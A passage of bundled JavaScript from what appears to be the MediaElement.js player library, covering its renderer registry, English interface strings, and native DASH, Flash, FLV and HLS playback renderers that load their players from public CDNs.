'audio/oga', 'audio/wav', 'audio/x-wav', 'audio/wave', 'audio/x-pn-wav', 'audio/mpeg', 'audio/mp4', 'video/mp4', 'video/webm', 'video/ogg', 'video/ogv'] }; _window2.default.mejs = mejs; exports.default = mejs; },{"3":3}],8:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.renderer = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Renderer = function () { function Renderer() { _classCallCheck(this, Renderer); this.renderers = {}; this.order = []; } _createClass(Renderer, [{ key: 'add', value: function add(renderer) { if (renderer.name === undefined) { throw new TypeError('renderer must contain at least `name` property'); } this.renderers[renderer.name] = renderer; this.order.push(renderer.name); } }, { key: 'select', value: function select(mediaFiles) { var renderers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; var renderersLength = renderers.length; renderers = renderers.length ? renderers : this.order; if (!renderersLength) { var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i], rendererRanking = function rendererRanking(renderer) { for (var i = 0, total = rendererIndicator.length; i < total; i++) { if (rendererIndicator[i].test(renderer)) { return i; } } return rendererIndicator.length; }; renderers.sort(function (a, b) { return rendererRanking(a) - rendererRanking(b); }); } for (var i = 0, total = renderers.length; i < total; i++) { var key = renderers[i], _renderer = this.renderers[key]; if (_renderer !== null && _renderer !== undefined) { for (var j = 0, jl = mediaFiles.length; j < jl; j++) { if (typeof _renderer.canPlayType === 'function' && typeof mediaFiles[j].type === 'string' && _renderer.canPlayType(mediaFiles[j].type)) { return { rendererName: _renderer.name, src: mediaFiles[j].src }; } } } } return null; } }, { key: 'order', set: function set(order) { if (!Array.isArray(order)) { throw new TypeError('order must be an array of strings.'); } this._order = order; }, get: function get() { return this._order; } }, { key: 'renderers', set: function set(renderers) { if (renderers !== null && (typeof renderers === 'undefined' ? 'undefined' : _typeof(renderers)) !== 'object') { throw new TypeError('renderers must be an array of objects.'); } this._renderers = renderers; }, get: function get() { return this._renderers; } }]); return Renderer; }(); var renderer = exports.renderer = new Renderer(); _mejs2.default.Renderers = renderer; },{"7":7}],9:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var EN = exports.EN = { 'mejs.plural-form': 1, 'mejs.download-file': 'Download File', 'mejs.install-flash': 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/', 'mejs.fullscreen': 'Fullscreen', 'mejs.play': 'Play', 'mejs.pause': 'Pause', 'mejs.time-slider': 'Time Slider', 'mejs.time-help-text': 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.', 'mejs.live-broadcast': 'Live Broadcast', 'mejs.volume-help-text': 'Use Up/Down Arrow keys to increase or decrease volume.', 'mejs.unmute': 'Unmute', 'mejs.mute': 'Mute', 'mejs.volume-slider': 'Volume Slider', 'mejs.video-player': 'Video Player', 'mejs.audio-player': 'Audio Player', 'mejs.captions-subtitles': 'Captions/Subtitles', 'mejs.captions-chapters': 'Chapters', 'mejs.none': 'None', 'mejs.afrikaans': 'Afrikaans', 'mejs.albanian': 'Albanian', 'mejs.arabic': 'Arabic', 'mejs.belarusian': 'Belarusian', 'mejs.bulgarian': 'Bulgarian', 'mejs.catalan': 'Catalan', 'mejs.chinese': 'Chinese', 'mejs.chinese-simplified': 'Chinese (Simplified)', 'mejs.chinese-traditional': 'Chinese (Traditional)', 'mejs.croatian': 'Croatian', 'mejs.czech': 'Czech', 'mejs.danish': 'Danish', 'mejs.dutch': 'Dutch', 'mejs.english': 'English', 'mejs.estonian': 'Estonian', 'mejs.filipino': 'Filipino', 'mejs.finnish': 'Finnish', 'mejs.french': 'French', 'mejs.galician': 'Galician', 'mejs.german': 'German', 'mejs.greek': 'Greek', 'mejs.haitian-creole': 'Haitian Creole', 'mejs.hebrew': 'Hebrew', 'mejs.hindi': 'Hindi', 'mejs.hungarian': 'Hungarian', 'mejs.icelandic': 'Icelandic', 'mejs.indonesian': 'Indonesian', 'mejs.irish': 'Irish', 'mejs.italian': 'Italian', 'mejs.japanese': 'Japanese', 'mejs.korean': 'Korean', 'mejs.latvian': 'Latvian', 'mejs.lithuanian': 'Lithuanian', 'mejs.macedonian': 'Macedonian', 'mejs.malay': 'Malay', 'mejs.maltese': 'Maltese', 'mejs.norwegian': 'Norwegian', 'mejs.persian': 'Persian', 'mejs.polish': 'Polish', 'mejs.portuguese': 'Portuguese', 'mejs.romanian': 'Romanian', 'mejs.russian': 'Russian', 'mejs.serbian': 'Serbian', 'mejs.slovak': 'Slovak', 'mejs.slovenian': 'Slovenian', 'mejs.spanish': 'Spanish', 'mejs.swahili': 'Swahili', 'mejs.swedish': 'Swedish', 'mejs.tagalog': 'Tagalog', 'mejs.thai': 'Thai', 'mejs.turkish': 'Turkish', 'mejs.ukrainian': 'Ukrainian', 'mejs.vietnamese': 'Vietnamese', 'mejs.welsh': 'Welsh', 'mejs.yiddish': 'Yiddish' }; },{}],10:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _media = _dereq_(19); var _constants = _dereq_(16); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeDash = { promise: null, load: function load(settings) { if (typeof dashjs !== 'undefined') { NativeDash.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeDash._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.dashjs.org/latest/dash.all.min.js'; NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path); NativeDash.promise.then(function () { NativeDash._createPlayer(settings); }); } return NativeDash.promise; }, _createPlayer: function _createPlayer(settings) { var player = dashjs.MediaPlayer().create(); _window2.default['__ready__' + settings.id](player); return player; } }; var DashNativeRenderer = { name: 'native_dash', options: { prefix: 'native_dash', dash: { path: 'https://cdn.dashjs.org/latest/dash.all.min.js', debug: false, drm: {}, robustnessLevel: '' } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/dash+xml'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, autoplay = originalNode.autoplay, children = originalNode.children; var node = null, dashPlayer = null; originalNode.removeAttribute('type'); for (var i = 0, total = children.length; i < total; i++) { children[i].removeAttribute('type'); } node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return dashPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { var source = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; node[propName] = source; if (dashPlayer !== null) { dashPlayer.reset(); for (var _i = 0, _total = events.length; _i < _total; _i++) { node.removeEventListener(events[_i], attachNativeEvents); } dashPlayer = NativeDash._createPlayer({ options: options.dash, id: id }); if (value && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && _typeof(value.drm) === 'object') { dashPlayer.setProtectionData(value.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(source); if (autoplay) { dashPlayer.play(); } } } else { node[propName] = value; } } }; }; for (var _i2 = 0, _total2 = props.length; _i2 < _total2; _i2++) { assignGettersSetters(props[_i2]); } _window2.default['__ready__' + id] = function (_dashPlayer) { mediaElement.dashPlayer = dashPlayer = _dashPlayer; var dashEvents = dashjs.MediaPlayer.events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { dashPlayer.initialize(); dashPlayer.attachView(node); dashPlayer.setAutoPlay(false); if (_typeof(options.dash.drm) === 'object' && !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) { dashPlayer.setProtectionData(options.dash.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(node.getSrc()); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { assignEvents(events[_i3]); } var assignMdashEvents = function assignMdashEvents(e) { if (e.type.toLowerCase() === 'error') { mediaElement.generateError(e.message, node.src); console.error(e); } else { var _event = (0, _general.createEvent)(e.type, mediaElement); _event.data = e; mediaElement.dispatchEvent(_event); } }; for (var eventType in dashEvents) { if (dashEvents.hasOwnProperty(eventType)) { dashPlayer.on(dashEvents[eventType], function (e) { return assignMdashEvents(e); }); } } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { node.setAttribute('src', mediaFiles[_i4].src); if (typeof mediaFiles[_i4].drm !== 'undefined') { options.dash.drm = mediaFiles[_i4].drm; } break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (dashPlayer !== null) { dashPlayer.reset(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeDash.load({ options: options.dash, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.mpd') ? 'application/dash+xml' : null; }); _renderer.renderer.add(DashNativeRenderer); },{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],11:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.PluginDetector = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); var _media = _dereq_(19); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var PluginDetector = exports.PluginDetector = { plugins: [], hasPluginVersion: function hasPluginVersion(plugin, v) { var pv = PluginDetector.plugins[plugin]; v[1] = v[1] || 0; v[2] = v[2] || 0; return pv[0] > v[0] || pv[0] === v[0] && pv[1] > v[1] || pv[0] === v[0] && pv[1] === v[1] && pv[2] >= v[2]; }, addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) { PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect); }, detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) { var version = [0, 0, 0], description = void 0, ax = void 0; if (_constants.NAV.plugins !== null && _constants.NAV.plugins !== undefined && _typeof(_constants.NAV.plugins[pluginName]) === 'object') { description = _constants.NAV.plugins[pluginName].description; if (description && !(typeof _constants.NAV.mimeTypes !== 'undefined' && _constants.NAV.mimeTypes[mimeType] && !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) { version = description.replace(pluginName, '').replace(/^\s+/, '').replace(/\sr/gi, '.').split('.'); for (var i = 0, total = version.length; i < total; i++) { version[i] = parseInt(version[i].match(/\d+/), 10); } } } else if (_window2.default.ActiveXObject !== undefined) { try { ax = new ActiveXObject(activeX); if (ax) { version = axDetect(ax); } } catch (e) { } } return version; } }; PluginDetector.addPlugin('flash', 'Shockwave Flash', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash', function (ax) { var version = [], d = ax.GetVariable("$version"); if (d) { d = d.split(" ")[1].split(","); version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)]; } return version; }); var FlashMediaElementRenderer = { create: function create(mediaElement, options, mediaFiles) { var flash = {}; var isActive = false; flash.options = options; flash.id = mediaElement.id + '_' + flash.options.prefix; flash.mediaElement = mediaElement; flash.flashState = {}; flash.flashApi = null; flash.flashApiStack = []; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { flash.flashState[propName] = null; var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['get' + capName] = function () { if (flash.flashApi !== null) { if (typeof flash.flashApi['get_' + propName] === 'function') { var value = flash.flashApi['get_' + propName](); if (propName === 'buffered') { return { start: function start() { return 0; }, end: function end() { return value; }, length: 1 }; } return value; } else { return null; } } else { return null; } }; flash['set' + capName] = function (value) { if (propName === 'src') { value = (0, _media.absolutizeUrl)(value); } if (flash.flashApi !== null && flash.flashApi['set_' + propName] !== undefined) { try { flash.flashApi['set_' + propName](value); } catch (e) { } } else { flash.flashApiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { flash[methodName] = function () { if (isActive) { if (flash.flashApi !== null) { if (flash.flashApi['fire_' + methodName]) { try { flash.flashApi['fire_' + methodName](); } catch (e) { } } else { } } else { flash.flashApiStack.push({ type: 'call', methodName: methodName }); } } }; }; methods.push('stop'); for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var initEvents = ['rendererready']; for (var _i2 = 0, _total2 = initEvents.length; _i2 < _total2; _i2++) { var event = (0, _general.createEvent)(initEvents[_i2], flash); mediaElement.dispatchEvent(event); } _window2.default['__ready__' + flash.id] = function () { flash.flashReady = true; flash.flashApi = _document2.default.getElementById('__' + flash.id); if (flash.flashApiStack.length) { for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 < _total3; _i3++) { var stackItem = flash.flashApiStack[_i3]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { flash[stackItem.methodName](); } } } }; _window2.default['__event__' + flash.id] = function (eventName, message) { var event = (0, _general.createEvent)(eventName, flash); if (message) { try { event.data = JSON.parse(message); event.details.data = JSON.parse(message); } catch (e) { event.message = message; } } flash.mediaElement.dispatchEvent(event); }; flash.flashWrapper = _document2.default.createElement('div'); if (['always', 'sameDomain'].indexOf(flash.options.shimScriptAccess) === -1) { flash.options.shimScriptAccess = 'sameDomain'; } var autoplay = mediaElement.originalNode.autoplay, flashVars = ['uid=' + flash.id, 'autoplay=' + autoplay, 'allowScriptAccess=' + flash.options.shimScriptAccess, 'preload=' + (mediaElement.originalNode.getAttribute('preload') || '')], isVideo = mediaElement.originalNode !== null && mediaElement.originalNode.tagName.toLowerCase() === 'video', flashHeight = isVideo ? mediaElement.originalNode.height : 1, flashWidth = isVideo ? mediaElement.originalNode.width : 1; if (mediaElement.originalNode.getAttribute('src')) { flashVars.push('src=' + mediaElement.originalNode.getAttribute('src')); } if (flash.options.enablePseudoStreaming === true) { flashVars.push('pseudostreamstart=' + flash.options.pseudoStreamingStartQueryParam); flashVars.push('pseudostreamtype=' + flash.options.pseudoStreamingType); } if (flash.options.streamDelimiter) { flashVars.push('streamdelimiter=' + encodeURIComponent(flash.options.streamDelimiter)); } if (flash.options.proxyType) { flashVars.push('proxytype=' + flash.options.proxyType); } mediaElement.appendChild(flash.flashWrapper); mediaElement.originalNode.style.display = 'none'; var settings = []; if (_constants.IS_IE || _constants.IS_EDGE) { var specialIEContainer = _document2.default.createElement('div'); flash.flashWrapper.appendChild(specialIEContainer); if (_constants.IS_EDGE) { settings = ['type="application/x-shockwave-flash"', 'data="' + flash.options.pluginPath + flash.options.filename + '"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '\'"']; } else { settings = ['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"', 'codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '"']; } if (!isVideo) { settings.push('style="clip: rect(0 0 0 0); position: absolute;"'); } specialIEContainer.outerHTML = '<object ' + settings.join(' ') + '>' + ('<param name="movie" value="' + flash.options.pluginPath + flash.options.filename + '?x=' + new Date() + '" />') + ('<param name="flashvars" value="' + flashVars.join('&') + '" />') + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#000000" />' + '<param name="wmode" value="transparent" />' + ('<param name="allowScriptAccess" value="' + flash.options.shimScriptAccess + '" />') + '<param name="allowFullScreen" value="true" />' + ('<div>' + _i18n2.default.t('mejs.install-flash') + '</div>') + '</object>'; } else { settings = ['id="__' + flash.id + '"', 'name="__' + flash.id + '"', 'play="true"', 'loop="false"', 'quality="high"', 'bgcolor="#000000"', 'wmode="transparent"', 'allowScriptAccess="' + flash.options.shimScriptAccess + '"', 'allowFullScreen="true"', 'type="application/x-shockwave-flash"', 'pluginspage="//www.macromedia.com/go/getflashplayer"', 'src="' + flash.options.pluginPath + flash.options.filename + '"', 'flashvars="' + flashVars.join('&') + '"']; if (isVideo) { settings.push('width="' + flashWidth + '"'); settings.push('height="' + flashHeight + '"'); } else { settings.push('style="position: fixed; left: -9999em; top: -9999em;"'); } flash.flashWrapper.innerHTML = '<embed ' + settings.join(' ') + '>'; } flash.flashNode = flash.flashWrapper.lastChild; flash.hide = function () { isActive = false; if (isVideo) { flash.flashNode.style.display = 'none'; } }; flash.show = function () { isActive = true; if (isVideo) { flash.flashNode.style.display = ''; } }; flash.setSize = function (width, height) { flash.flashNode.style.width = width + 'px'; flash.flashNode.style.height = height + 'px'; if (flash.flashApi !== null && typeof flash.flashApi.fire_setSize === 'function') { flash.flashApi.fire_setSize(width, height); } }; flash.destroy = function () { flash.flashNode.remove(); }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { flash.setSrc(mediaFiles[_i4].src); break; } } } return flash; } }; var hasFlash = PluginDetector.hasPluginVersion('flash', [10, 0, 0]); if (hasFlash) { _media.typeChecks.push(function (url) { url = url.toLowerCase(); if (url.startsWith('rtmp')) { if (~url.indexOf('.mp3')) { return 'audio/rtmp'; } else { return 'video/rtmp'; } } else if (/\.og(a|g)/i.test(url)) { return 'audio/ogg'; } else if (~url.indexOf('.m3u8')) { return 'application/x-mpegURL'; } else if (~url.indexOf('.mpd')) { return 'application/dash+xml'; } else if (~url.indexOf('.flv')) { return 'video/flv'; } else { return null; } }); var FlashMediaElementVideoRenderer = { name: 'flash_video', options: { prefix: 'flash_video', filename: 'mediaelement-flash-video.swf', enablePseudoStreaming: false, pseudoStreamingStartQueryParam: 'start', pseudoStreamingType: 'byte', proxyType: '', streamDelimiter: '' }, canPlayType: function canPlayType(type) { return ~['video/mp4', 'video/rtmp', 'audio/rtmp', 'rtmp/mp4', 'audio/mp4', 'video/flv', 'video/x-flv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementVideoRenderer); var FlashMediaElementHlsVideoRenderer = { name: 'flash_hls', options: { prefix: 'flash_hls', filename: 'mediaelement-flash-video-hls.swf' }, canPlayType: function canPlayType(type) { return ~['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementHlsVideoRenderer); var FlashMediaElementMdashVideoRenderer = { name: 'flash_dash', options: { prefix: 'flash_dash', filename: 'mediaelement-flash-video-mdash.swf' }, canPlayType: function canPlayType(type) { return ~['application/dash+xml'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementMdashVideoRenderer); var FlashMediaElementAudioRenderer = { name: 'flash_audio', options: { prefix: 'flash_audio', filename: 'mediaelement-flash-audio.swf' }, canPlayType: function canPlayType(type) { return ~['audio/mp3'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioRenderer); var FlashMediaElementAudioOggRenderer = { name: 'flash_audio_ogg', options: { prefix: 'flash_audio_ogg', filename: 'mediaelement-flash-audio-ogg.swf' }, canPlayType: function canPlayType(type) { return ~['audio/ogg', 'audio/oga', 'audio/ogv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioOggRenderer); } },{"16":16,"18":18,"19":19,"2":2,"3":3,"5":5,"7":7,"8":8}],12:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); var _media = _dereq_(19); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeFlv = { promise: null, load: function load(settings) { if (typeof flvjs !== 'undefined') { NativeFlv.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeFlv._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/flv.js@latest'; NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path); NativeFlv.promise.then(function () { NativeFlv._createPlayer(settings); }); } return NativeFlv.promise; }, _createPlayer: function _createPlayer(settings) { flvjs.LoggingControl.enableDebug = settings.options.debug; flvjs.LoggingControl.enableVerbose = settings.options.debug; var player = flvjs.createPlayer(settings.options, settings.configs); _window2.default['__ready__' + settings.id](player); return player; } }; var FlvNativeRenderer = { name: 'native_flv', options: { prefix: 'native_flv', flv: { path: 'https://cdn.jsdelivr.net/npm/flv.js@latest', cors: true, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['video/x-flv', 'video/flv'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix; var node = null, flvPlayer = null; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return flvPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (flvPlayer !== null) { var _flvOptions = {}; _flvOptions.type = 'flv'; _flvOptions.url = value; _flvOptions.cors = options.flv.cors; _flvOptions.debug = options.flv.debug; _flvOptions.path = options.flv.path; var _flvConfigs = options.flv.configs; flvPlayer.destroy(); for (var i = 0, total = events.length; i < total; i++) { node.removeEventListener(events[i], attachNativeEvents); } flvPlayer = NativeFlv._createPlayer({ options: _flvOptions, configs: _flvConfigs, id: id }); flvPlayer.attachMediaElement(node); flvPlayer.load(); } } else { node[propName] = value; } } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_flvPlayer) { mediaElement.flvPlayer = flvPlayer = _flvPlayer; var flvEvents = flvjs.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { flvPlayer.unload(); flvPlayer.detachMediaElement(); flvPlayer.attachMediaElement(node); flvPlayer.load(); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total = events.length; _i < _total; _i++) { assignEvents(events[_i]); } var assignFlvEvents = function assignFlvEvents(name, data) { if (name === 'error') { var message = data[0] + ': ' + data[1] + ' ' + data[2].msg; mediaElement.generateError(message, node.src); } else { var _event = (0, _general.createEvent)(name, mediaElement); _event.data = data; mediaElement.dispatchEvent(_event); } }; var _loop = function _loop(eventType) { if (flvEvents.hasOwnProperty(eventType)) { flvPlayer.on(flvEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignFlvEvents(flvEvents[eventType], args); }); } }; for (var eventType in flvEvents) { _loop(eventType); } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i2 = 0, _total2 = mediaFiles.length; _i2 < _total2; _i2++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) { node.setAttribute('src', mediaFiles[_i2].src); break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; var flvOptions = {}; flvOptions.type = 'flv'; flvOptions.url = node.src; flvOptions.cors = options.flv.cors; flvOptions.debug = options.flv.debug; flvOptions.path = options.flv.path; var flvConfigs = options.flv.configs; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { if (flvPlayer !== null) { flvPlayer.pause(); } node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (flvPlayer !== null) { flvPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeFlv.load({ options: flvOptions, configs: flvConfigs, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.flv') ? 'video/flv' : null; }); _renderer.renderer.add(FlvNativeRenderer); },{"16":16,"17":17,"18":18,"19":19,"3":3,"7":7,"8":8}],13:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _constants = _dereq_(16); var _media = _dereq_(19); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeHls = { promise: null, load: function load(settings) { if (typeof Hls !== 'undefined') { NativeHls.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeHls._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/hls.js@latest'; NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path); NativeHls.promise.then(function () { NativeHls._createPlayer(settings); }); } return NativeHls.promise; }, _createPlayer: function _createPlayer(settings) { var player = new Hls(settings.options); _window2.default['__ready__' + settings.id](player); return player; } }; var HlsNativeRenderer = { name: 'native_hls', options: { prefix: 'native_hls', hls: { path: 'https://cdn.jsdelivr.net/npm/hls.js@latest', autoStartLoad: false, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, preload = originalNode.getAttribute('preload'), autoplay 